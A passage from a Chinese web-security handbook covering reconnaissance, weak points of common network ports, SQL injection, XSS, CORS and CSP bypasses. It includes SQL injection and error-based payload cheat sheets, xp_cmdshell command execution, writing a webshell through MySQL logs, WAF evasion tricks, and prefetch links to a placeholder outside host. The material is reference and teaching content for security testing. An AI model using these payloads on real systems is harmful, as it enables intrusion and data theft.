该漏洞由Vanhoef发现。Wi-Fi在握手时双方会更新秘钥,该攻击通过重放握手信息,令客户端重新安装相同的秘钥。

Dragonblood

最新版的WPA3标准在实现上存在一些问题,同样由Vanhoef发现。包含拒绝服务攻击、降级攻击、侧信道泄露等。

信息收集

网络入口/信息

    • 网络拓扑信息

      外网出口
      
    • IP信息

      C段
      
    • 线下网络

      Wi-FiSSID认证信息
      
    • VPN

      厂商登录方式
      
  • 邮件网关

  • 手机APP

  • 小程序后台

  • OA

  • SSO

  • 边界网络设备

  • 上游运营商

域名信息

Whois

Whois 可以查询域名是否被注册,以及注册域名的详细信息的数据库,其中可能会存在一些有用的信息,例如域名所有人、域名注册商、邮箱等。

搜索引擎搜索

搜索引擎通常会记录域名信息,可以通过 site: domain 的语法来查询。

第三方查询

网络中有相当多的第三方应用提供了子域的查询功能,下面有一些例子:

ASN信息关联

在网络中一个自治系统 (Autonomous System, AS) 是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。这个网络单位可以是一个简单的网络也可以是一个由一个或多个普通的网络管理员来控制的网络群体,它是一个单独的可管理的网络单元 (例如一所大学,一个企业或者一个公司个体) 。

一个自治系统有时也被称为是一个路由选择域 (routing domain) 。一个自治系统将会分配一个全局的唯一的16位号码,这个号码被称为自治系统号 (ASN) 。因此可以通过ASN号来查找可能相关的IP,例如:

whois -h whois.radb.net -- '-i origin AS111111' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq
nmap --script targets-asn --script-args targets-asn.asn=15169

域名相关性

同一个企业/个人注册的多个域名通常具有一定的相关性,例如使用了同一个邮箱来注册、使用了同一个备案、同一个负责人来注册等,可以使用这种方式来查找关联的域名。一种操作步骤如下:

  • 查询域名注册邮箱
  • 通过域名查询备案号
  • 通过备案号查询域名
  • 反查注册邮箱
  • 反查注册人
  • 通过注册人查询到的域名在查询邮箱
  • 通过上一步邮箱去查询域名
  • 查询以上获取出的域名的子域名

网站信息利用

网站中有相当多的信息,网站本身、各项安全策略、设置等都可能暴露出一些信息。

网站本身的交互通常不囿于单个域名,会和其他子域交互。对于这种情况,可以通过爬取网站,收集站点中的其他子域信息。这些信息通常出现在JavaScript文件、资源文件链接等位置。

网站的安全策略如跨域策略、CSP规则等通常也包含相关域名的信息。有时候多个域名为了方便会使用同一个SSL/TLS证书,因此有时可通过证书来获取相关域名信息。

HTTPS证书

证书透明度

为了保证HTTPS证书不会被误发或伪造,CA会将证书记录到可公开验证、不可篡改且只能附加内容的日志中,任何感兴趣的相关方都可以查看由授权中心签发的所有证书。因此可以通过查询已授权证书的方式来获得相关域名。

SAN

主题备用名称 (Subject Alternate Name, SAN),简单来说,在需要多个域名,并将其用于各项服务时,多使用SAN证书。SAN允许在安全证书中使用subjectAltName字段将多种值与证书关联,这些值被称为主题备用名称。

域传送漏洞

DNS域传送 (zone transfer) 指的是冗余备份服务器使用来自主服务器的数据刷新自己的域 (zone) 数据库。这是为了防止主服务器因意外不可用时影响到整个域名的解析。

一般来说,域传送操作应该只允许可信的备用DNS服务器发起,但是如果错误配置了授权,那么任意用户都可以获得整个DNS服务器的域名信息。这种错误授权被称作是DNS域传送漏洞。

Passive DNS

Passive DNS被动的从递归域名服务器记录来自不同域名服务器的响应,形成数据库。利用Passive DNS数据库可以知道域名曾绑定过哪些IP,IP曾关联到哪些域名,域名最早/最近出现的时间,为测试提供较大的帮助。Virustotal、passivetotal、CIRCL等网站都提供了Passive DNS数据库的查询。

泛解析

泛解析是把 *.example.com 的所有A记录都解析到某个IP 地址上,在子域名枚举时需要处理这种情况以防生成大量无效的记录。

重要记录

  • CNAME即Canonical name,又称alias,将域名指向另一个域名。其中可能包含其他关联业务的信息。很多网站使用的CDN加速功能利用了该记录。
  • MX记录即Mail Exchanger,记录了发送电子邮件时域名对应的服务器地址。可以用来寻找SMTP服务器信息。
  • NS (Name Server) 记录是域名服务器的记录,用来指定域名由哪个DNS服务器来进行解析。
  • SPF (Sender Policy Framework) 是为了防止垃圾邮件而提出来的一种DNS记录类型,是一种TXT类型的记录,用于登记某个域名拥有的用来外发邮件的所有IP地址。通过SPF记录可以获取相关的IP信息,常用命令为 dig example.com txt

CDN

CDN验证

可通过多地ping的方式确定目标是否使用了CDN,常用的网站有 http://ping.chinaz.com/ https://asm.ca.com/en/ping.php 等。

域名查找

使用了CDN的域名的父域或者子域名不一定使用了CDN,可以通过这种方式去查找对应的IP。

历史记录查找

CDN可能是在网站上线一段时间后才上线的,可以通过查找域名解析记录的方式去查找真实IP。

邮件信息

通过社会工程学的方式进行邮件沟通,从邮件头中获取IP地址,IP地址可能是网站的真实IP或者是目标的出口IP。

子域爆破

在内网等不易用到以上技巧的环境,或者想监测新域名上线时,可以通过批量尝试的方式,找到有效的域名。

缓存探测技术

在企业网络中通常都会配置DNS服务器为网络内的主机提供域名解析服务。域名缓存侦测(DNS Cache Snooping)技术就是向这些服务器发送域名解析请求,但并不要求使用递归模式,用于探测是否请求过某个域名。这种方式可以用来探测是否使用了某些软件,尤其是安全软件。

端口信息

常见端口及其脆弱点

    • FTP (21/TCP)

      默认用户名密码 `anonymous:anonymous`暴力破解密码VSFTP某版本后门
      
    • SSH (22/TCP)

      部分版本SSH存在漏洞可枚举用户名暴力破解密码
      
    • Telent (23/TCP)

      暴力破解密码嗅探抓取明文密码
      
    • SMTP (25/TCP)

      无认证时可伪造发件人
      
    • DNS (53/UDP)

      域传送漏洞DNS劫持DNS缓存投毒DNS欺骗SPF / DMARC CheckDDoSDNS Query FloodDNS 反弹DNS 隧道
      
    • DHCP 67/68

      劫持/欺骗
      
  • TFTP (69/TCP)

  • HTTP (80/TCP)

    • Kerberos (88/TCP)

      主要用于监听KDC的票据请求用于进行黄金票据和白银票据的伪造
      
    • POP3 (110/TCP)

      爆破
      
    • RPC (135/TCP)

      wmic 服务利用
      
    • NetBIOS (137/UDP & 138/UDP)

      未授权访问弱口令
      
    • NetBIOS / Samba (139/TCP)

      未授权访问弱口令
      
    • SNMP (161/TCP)

      Public 弱口令
      
    • LDAP (389/TCP)

      用于域上的权限验证服务匿名访问注入
      
  • HTTPS (443/TCP)

    • SMB (445/TCP)

      Windows 协议簇,主要功能为文件共享服务`net use \\192.168.1.1 /user:xxx\username password`
      
    • Linux Rexec (512/TCP & 513/TCP & 514/TCP)

      弱口令
      
    • Rsync (873/TCP)

      未授权访问
      
    • RPC (1025/TCP)

      NFS匿名访问
      
    • Java RMI (1090/TCP & 1099/TCP)

      反序列化远程命令执行漏洞
      
    • MSSQL (1433/TCP)

      弱密码差异备份 GetShellSA 提权
      
    • Oracle (1521/TCP)

      弱密码
      
    • NFS (2049/TCP)

      权限设置不当`showmount `
      
    • ZooKeeper (2171/TCP & 2375/TCP)

      无身份认证
      
    • Docker Remote API (2375/TCP)

      未限制IP / 未启用TLS身份认证`http://docker.addr:2375/version`
      
    • MySQL (3306/TCP)

      弱密码日志写WebShellUDF提权MOF提权
      
    • RDP / Terminal Services (3389/TCP)

      弱密码
      
    • Postgres (5432/TCP)

      弱密码执行系统命令
      
    • VNC (5900/TCP)

      弱密码
      
    • CouchDB (5984/TCP)

      未授权访问
      
    • WinRM (5985/TCP)

      Windows对WS-Management的实现在Vista上需要手动启动,在Windows Server 2008中服务是默认开启的
      
    • Redis (6379/TCP)

      无密码或弱密码绝对路径写 WebShell计划任务反弹 Shell写 SSH 公钥主从复制 RCEWindows 写启动项
      
    • Kubernetes API Server (6443/TCP && 10250/TCP)

      `https://Kubernetes:10250/pods`
      
    • JDWP (8000/TCP)

      远程命令执行
      
  • ActiveMQ (8061/TCP)

    • Jenkin (8080/TCP)

      未授权访问
      
    • Elasticsearch (9200/TCP)

      代码执行`http://es.addr:9200/_plugin/head/``http://es.addr:9200/_nodes`
      
    • Memcached (11211/TCP)

      未授权访问
      
  • RabbitMQ (15672/TCP & 15692/TCP & 25672/TCP)

    • MongoDB (27017/TCP)

      无密码或弱密码
      
    • Hadoop (50070/TCP & 50075/TCP)

      未授权访问
      

除了以上列出的可能出现的问题,暴露在公网上的服务若不是最新版,都可能存在已经公开的漏洞

常见端口扫描技术

全扫描

扫描主机尝试使用三次握手与目标主机的某个端口建立正规的连接,若成功建立连接,则端口处于开放状态,反之处于关闭状态。

全扫描实现简单,且以较低的权限就可以进行该操作。但是在流量日志中会有大量明显的记录。

半扫描

半扫描也称SYN扫描,在半扫描中,仅发送SYN数据段,如果应答为RST,则端口处于关闭状态,若应答为SYN/ACK,则端口处于监听状态。不过这种方式需要较高的权限,而且现在的大部分防火墙已经开始对这种扫描方式做处理。

FIN扫描

FIN扫描是向目标发送一个FIN数据包,如果是开放的端口,会返回RST数据包,关闭的端口则不会返回数据包,可以通过这种方式来判断端口是否打开。

这种方式并不在TCP三次握手的状态中,所以不会被记录,相对SYN扫描要更隐蔽一些。

Web服务

    • Jenkins

      未授权访问
      
    • Gitlab

      对应版本CVE
      
    • Zabbix

      权限设置不当
      

批量搜索

  • Censys
  • Shodan
  • ZoomEye

常见漏洞攻防

SQL注入

注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

按技巧分类

根据使用的技巧,SQL注入类型可分为

    • 盲注

      布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
      
  • 报错注入:应用会显示全部或者部分的报错信息

  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句

  • 其他

按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

  • inband,利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

  • inference,通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

  • out of band (OOB)通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

注入检测

常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

Fuzz注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

基于geometric的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

堆叠注入

  • ;select 1

注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

获取信息

    • 判断数据库类型

      `and exists (select * from msysobjects ) > 0` access数据库`and exists (select * from sysobjects ) > 0` SQLServer数据库
      
    • 判断数据库表

      `and exsits (select * from admin)`
      
  • 版本、主机名、用户名、库名

    • 表和字段

      确定字段数Order BySelect Into表名、列名
      

测试权限

    • 文件操作

      读敏感文件写shell
      
    • 带外通道

      网络请求
      

权限提升

UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

数据库检测

MySQL

  • sleep sleep(1)

  • benchmark BENCHMARK(5000000, MD5('test'))

    • 字符串连接

      `SELECT 'a' 'b'``SELECT CONCAT('some','string')`
      
    • version

      `SELECT @@version``SELECT version()`
      
    • 识别用函数

      `connection_id()``last_insert_id()``row_count()`
      

Oracle

    • 字符串连接

      `'a'||'oracle' --``SELECT CONCAT('some','string')`
      
    • version

      `SELECT banner FROM v$version``SELECT banner FROM v$version WHERE rownum=1`
      

SQLServer

  • WAITFOR WAITFOR DELAY '00:00:10';

  • SERVERNAME SELECT @@SERVERNAME

  • version SELECT @@version

    • 字符串连接

      `SELECT 'some'+'string'`
      
    • 常量

      `@@pack_received``@@rowcount`
      

PostgreSQL

  • sleep pg_sleep(1)

绕过技巧

    • 编码绕过

      大小写url编码html编码十六进制编码unicode编码
      
    • 注释

      `//` `--` `-- +` `-- -` `#` `/**/` `;%00`内联注释用的更多,它有一个特性 `/!**/` 只有MySQL能识别e.g. `index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3`
      
    • 只过滤了一次时

      `union` => `ununionion`
      
    • 相同功能替换

      函数替换`substring` / `mid` / `sub``ascii` / `hex` / `bin``benchmark` / `sleep`变量替换`user()` / `@@user`符号和关键字`and` / `&``or` / `|`
      
    • HTTP参数

      HTTP参数污染`id=1&id=2&id=3` 根据容器不同会有不同的结果HTTP分割注入
      
    • 缓冲区溢出

      一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
      
  • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

CheatSheet

SQL Server Payload

常见Payload

    • Version

      `SELECT @@version`
      
    • Comment

      `SELECT 1 -- comment``SELECT /*comment*/1`
      
    • Space

      `0x01 - 0x20`
      
    • 用户信息

      `SELECT user_name()``SELECT system_user``SELECT user``SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID`
      
    • 用户权限

      `select IS_SRVROLEMEMBER('sysadmin')``select IS_SRVROLEMEMBER('db_owner')`
      
    • List User

      `SELECT name FROM master..syslogins`
      
    • 数据库信息

      `SELECT name FROM master..sysdatabases``select concat_ws(table_schema,table_name,column_name) from information_schema.columns``select quotename(name) from master..sysdatabases FOR XML PATH('')`
      
    • 执行命令

      `EXEC xp_cmdshell 'net user'`
      
    • Ascii

      `SELECT char(0x41)``SELECT ascii('A')``SELECT char(65)+char(66)` => return `AB`
      
    • Delay

      `WAITFOR DELAY '0:0:3'` pause for 3 seconds
      
    • Change Password

      `ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'`
      
    • Trick

      `id=1 union:select password from:user`
      
    • 文件读取

      OpenRowset
      
    • 当前查询语句

      `select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)`
      
    • hostname

      用于判断是否站库分离`select host_name()``exec xp_getnetname`
      
    • 服务器信息

      `exec xp_msver`
      

注册表读写

    • xp_regread

      `exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'`
      
  • xp_regwrite

  • xp_regdeletvalue

  • xp_regdeletkey

  • xp_regaddmultistring

报错注入

  • 1=convert(int,(db_name()))

常用函数

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

DNS OOB

  • fn_xe_file_target_read_file
  • fn_get_audit_file
  • fn_trace_gettable

其他常用存储过程

  • sp_execute_external_script
  • sp_makewebtask
  • sp_OACreate
  • sp_OADestroy
  • sp_OAGetErrorInfo
  • sp_OAGetProperty
  • sp_OAMethod
  • sp_OASetProperty
  • sp_OAStop
  • xp_cmdshell
  • xp_dirtree
  • xp_enumerrorlogs
  • xp_enumgroups
  • xp_fixeddrives
  • xp_getfiledetails
  • xp_loginconfig

MySQL Payload

常见Payload

    • Version

      `SELECT @@version`
      
    • Comment

      `SELECT 1 -- comment``SELECT 1 # comment``SELECT /*comment*/1`
      
    • Space

      `0x9` `0xa-0xd` `0x20` `0xa0`
      
    • Current User

      `SELECT user()``SELECT system_user()``SELECT current_role()`
      
    • List User

      `SELECT user FROM mysql.user`
      
    • Current Database

      `SELECT database()`
      
    • List Database

      `SELECT schema_name FROM information_schema.schemata`
      
    • List Tables

      `SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
      
    • List Columns

      `SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'`
      
    • If

      `SELECT if(1=1,'foo','bar');` return 'foo'
      
    • Ascii

      `SELECT char(0x41)``SELECT ascii('A')``SELECT 0x414243` => return `ABC`
      
    • Delay

      `sleep(1)``SELECT BENCHMARK(1000000,MD5('A'))`
      
    • Read File

      `select @@datadir``select load_file('databasename/tablename.MYD')`
      
    • Blind

      `ascii(substring(str,pos,length)) & 32 = 1`
      
    • Error Based

      `select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;``select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))`
      
    • Change Password

      `mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"`
      

报错注入常见函数

  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp

写文件

写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;

预编译

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

绕过

预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

XSS

XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

分类

反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']";?> ,那么在访问时设置 /?user=alert("hack") ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

储存型XSS

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。

DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

例如

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
    var str = document.getElementById("input").value;
    document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。

危害

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入。
  3. 攻击者通过CSRF等方式以用户身份执行危险操作。
  4. XSS蠕虫。
  5. 获取用户浏览器信息。
  6. 利用XSS漏洞扫描用户内网。

同源策略

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。

file域的同源策略

在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。

cookie的同源策略

cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。

不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / securehttp-only 标记来限定其访问性。

所以 https://localhost:8080/http://localhost:8081/ 的Cookie是共享的。

Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。

客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。

源的更改

同源策略认为域和子域属于不同的域,例如 child1.a.coma.com / child1.a.comchild2.a.com / xxx.child1.a.comchild1.a.com 两两不同源。

对于这种情况,可以在两个方面各自设置 document.domain='a.com' 来改变其源来实现以上任意两个页面之间的通信。

另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null

跨源访问

同源策略控制了不同源之间的交互,这些交互通常分为三类:

    • 通常允许跨域写操作(Cross-origin writes)

      链接(links)重定向表单提交
      
  • 通常允许跨域资源嵌入(Cross-origin embedding)

  • 通常不允许跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有:

  • `` 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • `` 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
  • / / `` 嵌入多媒体资源。
  • 和 `` 的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

JSONP跨域

JSONP就是利用 `` 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。

服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题。没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露。

另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。

跨源脚本API访问

Javascript的APIs中,如 iframe.contentWindow , window.parent, window.openwindow.opener 允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 windowlocation 对象的访问添加限制。

window 允许跨源访问的方法有

  • window.blur
  • window.close
  • window.focus
  • window.postMessage

window 允许跨源访问的属性有

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window

其中 window.location 允许读/写,其他的属性只允许读

跨源数据存储访问

存储在浏览器中的数据,如 localStorageIndexedDB,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

CORS

CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。

常见请求头

    • Origin

      预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段`Origin: `
      
    • Access-Control-Request-Method

      声明请求使用的方法`Access-Control-Request-Method: `
      
    • Access-Control-Request-Headers

      声明请求使用的header字段`Access-Control-Request-Headers: [, ]*`
      

常见返回头

    • Access-Control-Allow-Origin

      声明允许访问的源外域URI对于携带身份凭证的请求不可使用通配符 `*``Access-Control-Allow-Origin: | *`
      
    • Access-Control-Expose-Headers

      声明允许暴露的头e.g. `Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header`
      
    • Access-Control-Max-Age

      声明Cache时间`Access-Control-Max-Age: `
      
    • Access-Control-Allow-Credentials

      声明是否允许在请求中带入`Access-Control-Allow-Credentials: true`
      
    • Access-Control-Allow-Methods

      声明允许的访问方式`Access-Control-Allow-Methods: [, ]*`
      
    • Access-Control-Allow-Headers

      声明允许的头`Access-Control-Allow-Headers: [, ]*`
      

防御建议

  • 如非必要不开启CORS
  • 定义详细的白名单,不使用通配符,仅配置所需要的头
  • 配置 Vary: Origin 头部
  • 如非必要不使用 Access-Control-Allow-Credentials
  • 限制缓存的时间

阻止跨源访问

阻止跨域写操作,可以检测请求中的 CSRF token ,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type 消息头。例如如果在HTML文档中指定 `` 标记,则浏览器会尝试将HTML解析为JavaScript。

CSP

Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。

配置

CSP策略可以通过 HTTP 头信息或者 meta 元素定义。

CSP 有三类:

  • Content-Security-Policy (Google Chrome)
  • X-Content-Security-Policy (Firefox)
  • X-WebKit-CSP (WebKit-based browsers, e.g. Safari)
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

HTML Meta :

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

指令说明

指令 说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义
object-src 定义 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
base-uri 定义 根URL策略,不使用default-src作为默认值
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志

关键字

    • -

      允许从任意url加载,除了 `data:` `blob:` `filesystem:` `schemes`e.g. `img-src -`
      
    • none

      禁止从任何url加载资源e.g. `object-src 'none'`
      
    • self

      只可以加载同源资源e.g. `img-src 'self'`
      
    • data:

      可以通过data协议加载资源e.g. `img-src 'self' data:`
      
    • domain.example.com

      e.g. `img-src domain.example.com`只可以从特定的域加载资源
      
    • \*.example.com

      e.g. `img-src \*.example.com`可以从任意example.com的子域处加载资源
      
    • https://cdn.com

      e.g. `img-src https://cdn.com`只能从给定的域用https加载资源
      
    • https:

      e.g. `img-src https:`只能从任意域用https加载资源
      
    • unsafe-inline

      允许内部资源执行代码例如style attribute,onclick或者是sicript标签e.g. `script-src 'unsafe-inline'`
      
    • unsafe-eval

      允许一些不安全的代码执行方式,例如js的eval()e.g. `script-src 'unsafe-eval'`
      
    • nonce-'

      使用随机的nonce,允许加载标签上nonce属性匹配的标签e.g. `script-src 'nonce-bm9uY2U='`
      
    • -'

      允许hash值匹配的代码块被执行e.g. `script-src 'sha256-'`
      

配置范例

允许执行内联 JS 代码,但不允许加载外部资源

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

Bypass

预加载

浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如

<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:

  • URL中包含下载资源
  • 页面中包含音频、视频
  • POST、PUT和DELET操作的ajax请求
  • HTTP认证
  • HTTPS页面
  • 含恶意软件的页面
  • 弹窗页面
  • 占用资源很多的页面
  • 打开了chrome developer tools开发工具

MIME Sniff

举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再<script href='http://xxx.com/xx.jpg'>,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本

302跳转

对于302跳转绕过CSP而言,实际上有以下几点限制:

  • 跳板必须在允许的域内。
  • 要加载的文件的host部分必须跟允许的域的host部分一致

iframe

当可以执行代码时,可以创建一个源为 css js 等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../ /%2e%2e%2f 等可能触发服务器报错的链接也可以到达相应的目的。

base-uri

